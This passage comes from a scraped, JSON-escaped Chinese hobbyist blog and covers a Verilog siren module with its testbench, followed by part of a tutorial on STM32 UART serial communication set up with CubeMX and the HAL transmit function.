class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e23\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e?\u003c/span\u003e tone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e22\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e16\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003etone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e22\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e16\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e6\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e slowsweep \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e26\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e?\u003c/span\u003e tone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e25\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e19\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003etone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e25\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e19\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e15\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e clkdivider \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e{\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u0026#39;b01\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e28\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e?\u003c/span\u003e slowsweep \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e fastsweep\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e7\u0026#39;b0000000\u003c/span\u003e\u003cspan class=\"token operator\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e15\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e counter\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e \u003cspan class=\"token keyword\"\u003enegedge\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003erst \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e16\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecounter \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e clkdivider\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e-\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e \u003cspan class=\"token keyword\"\u003enegedge\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003erst \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e speaker \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecounter \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e speaker \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003espeaker\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e \u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e仿真\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token constant\"\u003e`timescale\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003ens\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003ens\u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e \u003cspan class=\"token function\"\u003etb_hign\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e speaker\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//初始化输入信号\u003c/span\u003e\u003cspan class=\"token keyword\"\u003einitial\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e clk \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e rst \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e#20\u003c/span\u003e rst \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways\u003c/span\u003e \u003cspan class=\"token number\"\u003e#10\u003c/span\u003e clk \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003eclk\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003ehign hign_inst \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eclk \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eclk\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//input clk\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003erst \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003erst\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003espeaker \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003espeaker\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//output speaker\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e\u003cimg src=\"https://yun.ksfu.top/blog/fpga4fun/1.png\" alt=\"1\"/\u003e\u003c/p\u003e\u003cp\u003e可以看出间隔确实是变化的,仿真波形图里第一个频率经过计算为912Hz,符合要求。\u003c/p\u003e\u003chr/\u003e\u003cp\u003e待续……\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://blog.ksfu.top/posts/f804/"},{"title":"STM32\u0026UART串口通信(使用CubeMX)","time":"2022-05-08T14:54:19Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch1 id=\"STM32-UART通信\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/b619/#STM32-UART%E9%80%9A%E4%BF%A1\" class=\"headerlink\" title=\"STM32 UART通信\"\u003e\u003c/a\u003eSTM32 UART通信\u003c/h1\u003e\u003cp\u003e\u003cdel\u003e令人感慨,大二上学期不知道这玩意的我,是怎么把广和通项目糊出来的?\u003c/del\u003e\u003c/p\u003e\u003cp\u003e写完咯 ~ \u003cdel\u003e还没写完\u003c/del\u003e\u003c/p\u003e\u003ch2 id=\"参考链接\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/b619/#%E5%8F%82%E8%80%83%E9%93%BE%E6%8E%A5\" class=\"headerlink\" title=\"参考链接\"\u003e\u003c/a\u003e参考链接\u003c/h2\u003e\u003cp\u003e研究原理啥的还是看看参考的博客的好~\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e[\u003ca href=\"https://www.emoe.xyz/bonjour-stm32-uart-communication/\"\u003eBonjour STM32] No.7-demo 4.串口通信 - Emoe-Studio\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.emoe.xyz/ee_tutorial_04/\"\u003e电子入门教程[04]-喂?zaima? - Emoe-Studio\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/menlsh/archive/2013/01/28/2880580.html\"\u003e串口通信与编程01:串口基础知识 - 依旧淡然 - 博客园 (cnblogs.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/ChurF-Lin/p/10793111.html\"\u003e基于STM32之UART串口通信协议(一)详解 - LLLIN000 - 博客园 (cnblogs.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/ChurF-Lin/p/10798193.html\"\u003e基于STM32之UART串口通信协议(二)发送 - LLLIN000 - 博客园 (cnblogs.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/ChurF-Lin/p/10809000.html\"\u003e基于STM32之UART串口通信协议(三)接收 - LLLIN000 - 博客园 (cnblogs.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/ChurF-Lin/p/11139901.html\"\u003e基于STM32之UART串口通信协议(四)Printf发送 - LLLIN000 - 博客园 (cnblogs.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/milton/p/14711577.html\"\u003eSTM32 printf 方法重定向到串口UART - Milton - 博客园 (cnblogs.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/ForeverIT/article/details/82263142\"\u003eSTM32 Uart 实现printf函数_ForeverIT的博客-CSDN博客_stm32 实现printf\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"串口通信\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/b619/#%E4%B8%B2%E5%8F%A3%E9%80%9A%E4%BF%A1\" class=\"headerlink\" title=\"串口通信\"\u003e\u003c/a\u003e串口通信\u003c/h2\u003e\u003cp\u003e串口是串行接口(serial port)的简称,也称为串行通信接口或COM接口。\u003c/p\u003e\u003cimg src=\"https://s2.ax1x.com/2020/02/11/1TKcqI.jpg\" style=\"zoom: 67%;\"/\u003e\u003cimg src=\"https://s2.ax1x.com/2020/02/11/1TKyMd.jpg\" style=\"zoom:67%;\"/\u003e\u003cp\u003e串口通信是指采用串行通信协议(serial communication)在一条信号线上将数据一个比特一个比特地逐位进行传输的通信模式。\u003c/p\u003e\u003cp\u003e串口按电气标准及协议来划分,包括RS-232-C、RS-422、RS485等。\u003c/p\u003e\u003cp\u003e在串行通信中,数据在1位宽的 \u003cstrong\u003e单条线路\u003c/strong\u003e 上进行传输,一个字节的数据要分为8次,由低位到高位按顺序一位一位的进行传送。\u003c/p\u003e\u003cp\u003e串行通信的数据是逐位传输的,发送方发送的每一位都具有固定的时间间隔,这就要求接收方也要按照发送方同样的时间间隔来接收每一位。不仅如此,接收方还必须能够确定一个信息组的开始和结束。\u003c/p\u003e\u003cp\u003e常用的两种基本串行通信方式包括同步通信和异步通信。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e然后剩下的可以去参考链接继续了解了~\u003c/strong\u003e \u003cspan class=\"diana_yiyanzhen\"\u003e\u003c/span\u003e\u003c/p\u003e\u003ch2 id=\"UART简介\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/b619/#UART%E7%AE%80%E4%BB%8B\" class=\"headerlink\" title=\"UART简介\"\u003e\u003c/a\u003eUART简介\u003c/h2\u003e\u003cp\u003e嵌入式开发中,UART串口通信协议是我们常用的通信协议(UART、I2C、SPI等)之一,全称叫做通用异步收发传输器(Universal Asynchronous Receiver/Transmitter),是 \u003cstrong\u003e异步串口通信协议\u003c/strong\u003e 的一种,工作原理是将传输数据的每个字符一位接一位地传输,它能将要传输的资料在串行通信与并行通信之间加以转换,能够灵活地与外部设备进行全双工数据交换。\u003cspan class=\"ava_datou\"\u003e\u003c/span\u003e\u003c/p\u003e\u003cp\u003e\u003cstrong\u003eUSART\u003c/strong\u003e 相当于UART的升级版,USART支持同步模式,因此USART 需要同步始终信号USART_CK(如STM32 单片机),通常情况同步信号很少使用,因此一般的单片机UART和USART使用方式是一样的,都使用异步模式。因为USART的使用方法上跟UART基本相同,所以在此就 \u003cstrong\u003e以UART\u003c/strong\u003e 来讲该通信协议了。\u003c/p\u003e\u003ch2 id=\"UART功能说明\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/b619/#UART%E5%8A%9F%E8%83%BD%E8%AF%B4%E6%98%8E\" class=\"headerlink\" title=\"UART功能说明\"\u003e\u003c/a\u003eUART功能说明\u003c/h2\u003e\u003cp\u003e接口通过三个引脚从外部连接到其它设备。任何 USART 双向通信均需要 至少两个引脚:接收数据输入引脚 (RX) 和发送数据引脚输出 (TX):\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e两个系统的GND必须连在一起\u003c/strong\u003e(因为需要有相同的参考电位)\u003c/p\u003e\u003cp\u003e\u003cstrong\u003eRX:\u003c/strong\u003e接收数据输入引脚就是串行数据输入引脚。过采样技术可区分有效输入数据和噪声,从而用于恢复数据。\u003cbr/\u003e\u003cstrong\u003eTX:\u003c/strong\u003e发送数据输出引脚。如果关闭发送器,该输出引脚模式由其 I/O 端口配置决定。如果使 能了发送器但没有待发送的数据,则 TX 引脚处于高电平。在单线和智能卡模式下,该 I/O 用于发送和接收数据(USART 电平下,随后在 SW_RX 上接收数据)。\u003c/p\u003e\u003chr/\u003e\u003cp\u003e具体原理留个坑,先大概了解到这,这次主要是通过 \u003cstrong\u003eCubeMX\u003c/strong\u003e 使用UART进行通信~\u003cspan class=\"diana_bixin\"\u003e\u003c/span\u003e\u003c/p\u003e\u003chr/\u003e\u003ch2 id=\"波特率\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/b619/#%E6%B3%A2%E7%89%B9%E7%8E%87\" class=\"headerlink\" title=\"波特率\"\u003e\u003c/a\u003e波特率\u003c/h2\u003e\u003cp\u003e波特率的单位是 \u003cstrong\u003eBits/s\u003c/strong\u003e,很好理解, \u003cstrong\u003e每一位的传输时间\u003c/strong\u003e 。这个参数决定了串口传输数据的速度,115200,这是串口常用的波特率里很快的一个速度了,但是计算一下,11.5kbits/s,除以8换算成字节,也就是不到2kBytes/s,每秒传输一千多个字节的数据,就是这样一个速度了——比较老的USB2.0的U盘拷贝文件的速度大概在几个MBytes到十几MBytes每秒之间,对比一下可见串口这玩意确实是一个在速度上十分落后的通信接口了。\u003c/p\u003e\u003cp\u003e如何计算?比如我们的波特率是9600,那么每一位传输的时间是1/9600 s,意思就是说如果接连不断地发送数据帧,按照11bit长度计算,1秒钟可以发送9600/11=872.7,也就是差不多872个数据帧,也就是872字节。按照ASCII字母来说,872个英文字母/s,够直观了8~\u003c/p\u003e\u003ch2 id=\"CubeMX配置\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/b619/#CubeMX%E9%85%8D%E7%BD%AE\" class=\"headerlink\" title=\"CubeMX配置\"\u003e\u003c/a\u003eCubeMX配置\u003c/h2\u003e\u003cp\u003e本次使用 STM32F405RGT6\u003c/p\u003e\u003ch3 id=\"配置时钟\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/b619/#%E9%85%8D%E7%BD%AE%E6%97%B6%E9%92%9F\" class=\"headerlink\" title=\"配置时钟\"\u003e\u003c/a\u003e配置时钟\u003c/h3\u003e\u003cp\u003e选择外部晶振,然后时钟拉到最高~\u003c/p\u003e\u003cp\u003e)用一张之前的图,意思差不多\u003c/p\u003e\u003cimg src=\"https://blog.ksfu.top/img/posts/mg995/0.webp\" style=\"zoom:80%;\"/\u003e\u003cp\u003e\u003cimg src=\"https://blog.ksfu.top/img/posts/mg995/4.webp\" alt=\"4\"/\u003e\u003c/p\u003e\u003ch4 id=\"设置调试接口\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/b619/#%E8%AE%BE%E7%BD%AE%E8%B0%83%E8%AF%95%E6%8E%A5%E5%8F%A3\" class=\"headerlink\" title=\"设置调试接口\"\u003e\u003c/a\u003e设置调试接口\u003c/h4\u003e\u003cp\u003e)照着参考链接来\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://blog.ksfu.top/img/posts/uart/0.webp\"/\u003e\u003c/p\u003e\u003ch3 id=\"配置串口\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/b619/#%E9%85%8D%E7%BD%AE%E4%B8%B2%E5%8F%A3\" class=\"headerlink\" title=\"配置串口\"\u003e\u003c/a\u003e配置串口\u003c/h3\u003e\u003cp\u003e先启用,选择异步通信;然后波特率保持默认的 115200 就行\u003c/p\u003e\u003cimg src=\"https://blog.ksfu.top/img/posts/uart/1.webp\" alt=\"1\"/\u003e\u003ch3 id=\"选择生成必要的代码\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/b619/#%E9%80%89%E6%8B%A9%E7%94%9F%E6%88%90%E5%BF%85%E8%A6%81%E7%9A%84%E4%BB%A3%E7%A0%81\" class=\"headerlink\" title=\"选择生成必要的代码\"\u003e\u003c/a\u003e选择生成必要的代码\u003c/h3\u003e\u003cp\u003e\u003cimg src=\"https://blog.ksfu.top/img/posts/uart/2.webp\" alt=\"2\"/\u003e\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e1.Copy all used libraries into the project folder\u003c/p\u003e\u003cp\u003e将所有使用过的库复制到项目文件夹中。\u003c/p\u003e\u003cp\u003e不管你用,还是没有用到,都拷贝到你工程目录下。这样一来,你工程下文件就比较多。\u003c/p\u003e\u003cp\u003e2.Copy only the necessary library files \u003c/p\u003e\u003cp\u003e只复制必要的库文件。\u003c/p\u003e\u003cp\u003e这个相比上一个减少了很多文件。比如你没有使用CAN、SPI…等外设,就不会拷贝相关库文件到你工程下。\u003c/p\u003e\u003cp\u003e3.Add necessary library files as reference in the toolchain project configuration file \u003c/p\u003e\u003cp\u003e在工具链项目配置文件中添加必要的库文件作为参考。\u003c/p\u003e\u003cp\u003e这里没有复制HAL库文件,只添加了必要文件(如main.c)。相比上面,没有Drivers相关文件。\u003c/p\u003e\u003c/blockquote\u003e\u003cblockquote\u003e\u003cp\u003eGenerate peripheral initialization as a pair of’.c/.h’ files per peripheral\u003c/p\u003e\u003cp\u003e每个外设生成独立的’.c/.h’文件\u003c/p\u003e\u003cp\u003e不勾:所有初始化代码都生成在main.c\u003c/p\u003e\u003cp\u003e勾选:初始化代码生成在对应的外设文件。 如UART初始化代码生成在uart.c中。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e)其他配置啥的可以上网搜搜具体意思\u003c/p\u003e\u003ch2 id=\"UART-发送\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/b619/#UART-%E5%8F%91%E9%80%81\" class=\"headerlink\" title=\"UART 发送\"\u003e\u003c/a\u003eUART 发送\u003c/h2\u003e\u003cp\u003e主要使用到的函数为\u003c/p\u003e\u003cp\u003e在 \u003ccode\u003estm32f4xx_hal_uart.c\u003c/code\u003e 中\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003eHAL_StatusTypeDef \u003cspan class=\"token function\"\u003eHAL_UART_Transmit\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eUART_HandleTypeDef \u003cspan class=\"token operator\"\u003e*\u003c/span\u003ehuart\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003epData\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint16_t\u003c/span\u003e Size\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint32_t\u003c/span\u003e Timeout\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cblockquote\u003e\u003cul\u003e\u003cli\u003ehuart :选择用来发送的UART串口\u003c/li\u003e\u003cli\u003epData :指向将要发送的数据的指针\u003c/li\u003e\u003cli\u003eSize :发送数据的大小\u003c/li\u003e\u003cli\u003eTimeout:超时时间\u003c/li\u003e\u003c/ul\u003e\u003c/blockquote\u003e\u003ch3 id=\"直接发送\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/b619/#%E7%9B%B4%E6%8E%A5%E5%8F%91%E9%80%81\" class=\"headerlink\" title=\"直接发送\"\u003e\u003c/a\u003e直接发送\u003c/h3\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e定义一个数组\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e//数组内十六进制代表“ABCDE”\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"token keyword\"\u003echar\u003c/span\u003e uTx_Data\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e5\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x41\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x42\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token 